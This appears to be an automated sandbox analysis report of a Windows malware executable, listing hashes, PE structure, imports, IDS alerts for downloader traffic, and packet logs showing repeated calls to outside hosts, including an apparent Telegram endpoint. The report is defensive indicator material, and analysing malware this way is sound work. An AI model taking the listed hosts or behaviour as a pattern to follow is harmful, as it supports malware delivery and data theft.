TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
File size:	207'360 bytes
MD5:	c0dc27117e14576d09eeb3f5285890fd
SHA1:	a635782cc229cc9d78ad2ca07232bc8a9d1e35ea
SHA256:	e15f96a8007148677667e284c9047ac9928f979cdf06d371b776816df51ee480
SHA512:	70996b34fc2d6094cea47421b2fae5b7f89f6913ee966ab5f0c02b4b294e057646f3eabd6821a5a1f26c602eda17470aa02ace1a396d176512b4532de9cba2e9
SSDEEP:	3072:0DKW1LgppLRHMY0TBfJvjcTp5XrkgzXyvf4PUH2weet7bY6:0DKW1Lgbdl0TBBvjc/rkC+QPU7bd
TLSH:	FD14BF1171D1C1B3C4B7117044E6CB7A9A3970710B6A96D7B7DC2BBA6F212E1A3362CE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h..-,q.~,q.~,q.~2#.~?q.~...~+q.~,q.~\q.~2#n~.q.~2#i~.q.~2#{~-q.~Rich,q.~...................f....PE..L...t..P..........#........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40cd2f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5000A574 [Fri Jul 13 22:47:16 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	bf5a4aa99e5b160f8521cadd6bfe73b8

Entrypoint Preview

Instruction
call 00007F9F18B809A6h
jmp 00007F9F18B7AB69h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0041F058h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F9F18B7ACCEh
test byte ptr [eax], 00000008h
je 00007F9F18B7ACC9h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [0041B000h]
leave
retn 0008h
ret
mov eax, 00413563h
mov dword ptr [004228E4h], eax
mov dword ptr [004228E8h], 00412C4Ah
mov dword ptr [004228ECh], 00412BFEh
mov dword ptr [004228F0h], 00412C37h
mov dword ptr [004228F4h], 00412BA0h
mov dword ptr [004228F8h], eax
mov dword ptr [004228FCh], 004134DBh
mov dword ptr [00422900h], 00412BBCh
mov dword ptr [00422904h], 00412B1Eh
mov dword ptr [00422908h], 00412AABh
ret
mov edi, edi
push ebp
mov ebp, esp
call 00007F9F18B7AC5Bh
call 00007F9F18B814E0h
cmp dword ptr [ebp+00h], 00000000h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x215b4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26000	0x109ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1b1c0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x20da0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19718	0x19800	14e3362c692030e97b774abdb5cfb6c1	False	0.5789483762254902	data	6.7485161440849435	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0x6db4	0x6e00	5826801f33fc1b607aa8e942aa92e9fa	False	0.5467329545454546	data	6.442956247632331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x22000	0x30c0	0x1600	2fe51a72ede820cd7cf55a77ba59b1f4	False	0.3126775568181818	data	3.2625868398009703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x26000	0x109ec	0x10a00	2914e33fa49ffc35c046f94a4d53c574	False	0.9696017387218046	data	7.970361844435263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_RCDATA	0x26124	0xf92e	data	1.0004075873961435
RT_RCDATA	0x35a54	0x20	data	1.28125
RT_VERSION	0x35a74	0x31c	data	0.4296482412060301
RT_MANIFEST	0x35d90	0xc5b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.3926651912741069

Imports

DLL	Import
KERNEL32.dll	RaiseException, GetLastError, MultiByteToWideChar, lstrlenA, InterlockedDecrement, GetProcAddress, LoadLibraryA, FreeResource, SizeofResource, LockResource, LoadResource, FindResourceA, GetModuleHandleA, Module32Next, CloseHandle, Module32First, CreateToolhelp32Snapshot, GetCurrentProcessId, SetEndOfFile, GetStringTypeW, GetStringTypeA, LCMapStringW, LCMapStringA, GetLocaleInfoA, HeapFree, GetProcessHeap, HeapAlloc, GetCommandLineA, HeapCreate, VirtualFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, VirtualAlloc, HeapReAlloc, HeapSize, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, ReadFile, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, FlushFileBuffers, SetFilePointer, SetHandleCount, GetFileType, GetStartupInfoA, RtlUnwind, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, CompareStringA, CompareStringW, SetEnvironmentVariableA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle, CreateFileA
ole32.dll	OleInitialize
OLEAUT32.dll	SafeArrayCreate, SafeArrayAccessData, SafeArrayUnaccessData, SafeArrayDestroy, SafeArrayCreateVector, VariantClear, VariantInit, SysFreeString, SysAllocString

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-10T21:43:56.804013+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.6.168	80	TCP
2024-11-10T21:43:59.132182+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.6.168	80	TCP
2024-11-10T21:43:59.859447+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49732	188.114.97.3	443	TCP
2024-11-10T21:44:00.757146+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	193.122.6.168	80	TCP
2024-11-10T21:44:02.397777+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	193.122.6.168	80	TCP
2024-11-10T21:44:04.054141+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	193.122.6.168	80	TCP
2024-11-10T21:44:05.679078+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	193.122.6.168	80	TCP
2024-11-10T21:44:06.393227+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	188.114.97.3	443	TCP
2024-11-10T21:44:07.288480+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	193.122.6.168	80	TCP
2024-11-10T21:44:09.647704+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49744	188.114.97.3	443	TCP
2024-11-10T21:44:11.687144+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	188.114.97.3	443	TCP
2024-11-10T21:44:15.144401+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.4	49748	TCP
2024-11-10T21:44:53.944322+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49755	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 10, 2024 21:43:55.667594910 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:55.672406912 CET	80	49730	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:55.672482014 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:55.672642946 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:55.677366018 CET	80	49730	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:56.497616053 CET	80	49730	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:56.509068966 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:56.513868093 CET	80	49730	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:56.752751112 CET	80	49730	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:56.804013014 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:57.654812098 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:57.654833078 CET	443	49731	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:57.654911041 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:57.668299913 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:57.668313026 CET	443	49731	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:58.474714041 CET	443	49731	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:58.474822998 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:58.479126930 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:58.479137897 CET	443	49731	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:58.479466915 CET	443	49731	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:58.522788048 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:58.524765015 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:58.567332983 CET	443	49731	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:58.678559065 CET	443	49731	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:58.678610086 CET	443	49731	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:58.678663015 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:58.684443951 CET	49731	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:58.689374924 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:58.694216967 CET	80	49730	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:59.083235025 CET	80	49730	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:59.085452080 CET	49732	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:59.085513115 CET	443	49732	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:59.085581064 CET	49732	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:59.085956097 CET	49732	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:59.085968971 CET	443	49732	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:59.132181883 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:59.698565960 CET	443	49732	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:59.700236082 CET	49732	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:59.700268984 CET	443	49732	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:59.859468937 CET	443	49732	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:59.859534979 CET	443	49732	188.114.97.3	192.168.2.4
Nov 10, 2024 21:43:59.859589100 CET	49732	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:59.860061884 CET	49732	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:43:59.863193989 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:59.864079952 CET	49733	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:59.868530989 CET	80	49730	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:59.868585110 CET	49730	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:59.868885994 CET	80	49733	193.122.6.168	192.168.2.4
Nov 10, 2024 21:43:59.868959904 CET	49733	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:59.870970011 CET	49733	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:43:59.875698090 CET	80	49733	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:00.712590933 CET	80	49733	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:00.713673115 CET	49734	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:00.713720083 CET	443	49734	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:00.713784933 CET	49734	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:00.714008093 CET	49734	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:00.714019060 CET	443	49734	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:00.757145882 CET	49733	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:01.321568966 CET	443	49734	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:01.323393106 CET	49734	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:01.323416948 CET	443	49734	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:01.489473104 CET	443	49734	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:01.489535093 CET	443	49734	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:01.489667892 CET	49734	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:01.490098953 CET	49734	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:01.493340969 CET	49733	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:01.494321108 CET	49735	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:01.498692989 CET	80	49733	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:01.498893976 CET	49733	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:01.499105930 CET	80	49735	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:01.499202013 CET	49735	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:01.499329090 CET	49735	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:01.504112959 CET	80	49735	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:02.342360973 CET	80	49735	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:02.343553066 CET	49736	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:02.343596935 CET	443	49736	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:02.343691111 CET	49736	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:02.343930960 CET	49736	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:02.343945026 CET	443	49736	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:02.397777081 CET	49735	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:02.986768007 CET	443	49736	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:02.990664005 CET	49736	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:02.990689993 CET	443	49736	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:03.140321970 CET	443	49736	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:03.140398026 CET	443	49736	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:03.140466928 CET	49736	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:03.141788006 CET	49736	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:03.152261019 CET	49735	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:03.153201103 CET	49737	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:03.157469034 CET	80	49735	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:03.157530069 CET	49735	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:03.158016920 CET	80	49737	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:03.158077002 CET	49737	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:03.160031080 CET	49737	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:03.164848089 CET	80	49737	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:04.001070976 CET	80	49737	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:04.002516985 CET	49738	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:04.002566099 CET	443	49738	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:04.002654076 CET	49738	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:04.002914906 CET	49738	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:04.002931118 CET	443	49738	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:04.054141045 CET	49737	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:04.612596989 CET	443	49738	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:04.614327908 CET	49738	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:04.614363909 CET	443	49738	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:04.757729053 CET	443	49738	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:04.757788897 CET	443	49738	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:04.757848978 CET	49738	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:04.758306026 CET	49738	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:04.760936022 CET	49737	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:04.761835098 CET	49739	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:04.766339064 CET	80	49737	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:04.766397953 CET	49737	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:04.767066002 CET	80	49739	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:04.767129898 CET	49739	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:04.767249107 CET	49739	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:04.772389889 CET	80	49739	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:05.635868073 CET	80	49739	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:05.637053967 CET	49740	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:05.637084007 CET	443	49740	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:05.637154102 CET	49740	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:05.637377024 CET	49740	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:05.637391090 CET	443	49740	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:05.679078102 CET	49739	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:06.247725964 CET	443	49740	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:06.249211073 CET	49740	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:06.249233961 CET	443	49740	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:06.393243074 CET	443	49740	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:06.393312931 CET	443	49740	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:06.393383980 CET	49740	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:06.393778086 CET	49740	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:06.396773100 CET	49739	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:06.398058891 CET	49741	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:06.401945114 CET	80	49739	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:06.402021885 CET	49739	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:06.402863979 CET	80	49741	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:06.402941942 CET	49741	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:06.403038025 CET	49741	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:06.407807112 CET	80	49741	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:07.237343073 CET	80	49741	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:07.238635063 CET	49742	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:07.238663912 CET	443	49742	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:07.238753080 CET	49742	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:07.239010096 CET	49742	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:07.239021063 CET	443	49742	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:07.288480043 CET	49741	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:07.847524881 CET	443	49742	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:07.850749016 CET	49742	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:07.850774050 CET	443	49742	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:07.997684002 CET	443	49742	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:07.997756004 CET	443	49742	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:07.997822046 CET	49742	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:07.998159885 CET	49742	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:08.012522936 CET	49743	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:08.017496109 CET	80	49743	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:08.017553091 CET	49743	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:08.017652988 CET	49743	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:08.022625923 CET	80	49743	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:08.872978926 CET	80	49743	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:08.874183893 CET	49744	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:08.874222040 CET	443	49744	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:08.874288082 CET	49744	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:08.874556065 CET	49744	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:08.874568939 CET	443	49744	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:08.913443089 CET	49743	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:09.490633011 CET	443	49744	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:09.492537975 CET	49744	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:09.492568970 CET	443	49744	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:09.647711039 CET	443	49744	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:09.647793055 CET	443	49744	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:09.648097992 CET	49744	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:09.648360014 CET	49744	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:09.651066065 CET	49743	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:09.652179956 CET	49745	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:09.656126976 CET	80	49743	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:09.656189919 CET	49743	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:09.656941891 CET	80	49745	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:09.657007933 CET	49745	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:09.657079935 CET	49745	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:09.661796093 CET	80	49745	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:10.668015003 CET	80	49745	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:10.675591946 CET	49746	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:10.675611973 CET	443	49746	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:10.675694942 CET	49746	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:10.710268021 CET	49745	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:10.713275909 CET	49746	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:10.713285923 CET	443	49746	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:10.895401955 CET	80	49745	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:10.895452976 CET	49745	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:11.494427919 CET	443	49746	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:11.496305943 CET	49746	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:11.496330023 CET	443	49746	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:11.687150955 CET	443	49746	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:11.687335968 CET	443	49746	188.114.97.3	192.168.2.4
Nov 10, 2024 21:44:11.687391996 CET	49746	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:11.687638998 CET	49746	443	192.168.2.4	188.114.97.3
Nov 10, 2024 21:44:11.716125965 CET	49745	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:11.721272945 CET	80	49745	193.122.6.168	192.168.2.4
Nov 10, 2024 21:44:11.721404076 CET	49745	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:11.724205017 CET	49747	443	192.168.2.4	149.154.167.220
Nov 10, 2024 21:44:11.724257946 CET	443	49747	149.154.167.220	192.168.2.4
Nov 10, 2024 21:44:11.724334002 CET	49747	443	192.168.2.4	149.154.167.220
Nov 10, 2024 21:44:11.724695921 CET	49747	443	192.168.2.4	149.154.167.220
Nov 10, 2024 21:44:11.724745989 CET	443	49747	149.154.167.220	192.168.2.4
Nov 10, 2024 21:44:12.587985039 CET	443	49747	149.154.167.220	192.168.2.4
Nov 10, 2024 21:44:12.588072062 CET	49747	443	192.168.2.4	149.154.167.220
Nov 10, 2024 21:44:12.591583967 CET	49747	443	192.168.2.4	149.154.167.220
Nov 10, 2024 21:44:12.591597080 CET	443	49747	149.154.167.220	192.168.2.4
Nov 10, 2024 21:44:12.591845989 CET	443	49747	149.154.167.220	192.168.2.4
Nov 10, 2024 21:44:12.593555927 CET	49747	443	192.168.2.4	149.154.167.220
Nov 10, 2024 21:44:12.639341116 CET	443	49747	149.154.167.220	192.168.2.4
Nov 10, 2024 21:44:12.837917089 CET	443	49747	149.154.167.220	192.168.2.4
Nov 10, 2024 21:44:12.837980986 CET	443	49747	149.154.167.220	192.168.2.4
Nov 10, 2024 21:44:12.838545084 CET	49747	443	192.168.2.4	149.154.167.220
Nov 10, 2024 21:44:12.842762947 CET	49747	443	192.168.2.4	149.154.167.220
Nov 10, 2024 21:44:19.180291891 CET	49741	80	192.168.2.4	193.122.6.168
Nov 10, 2024 21:44:19.326093912 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:44:19.331139088 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:19.331226110 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:44:19.331846952 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:44:19.336585999 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:44:19.336664915 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:19.341839075 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:19.341850996 CET	80	49754	141.98.10.88	192.168.2.4
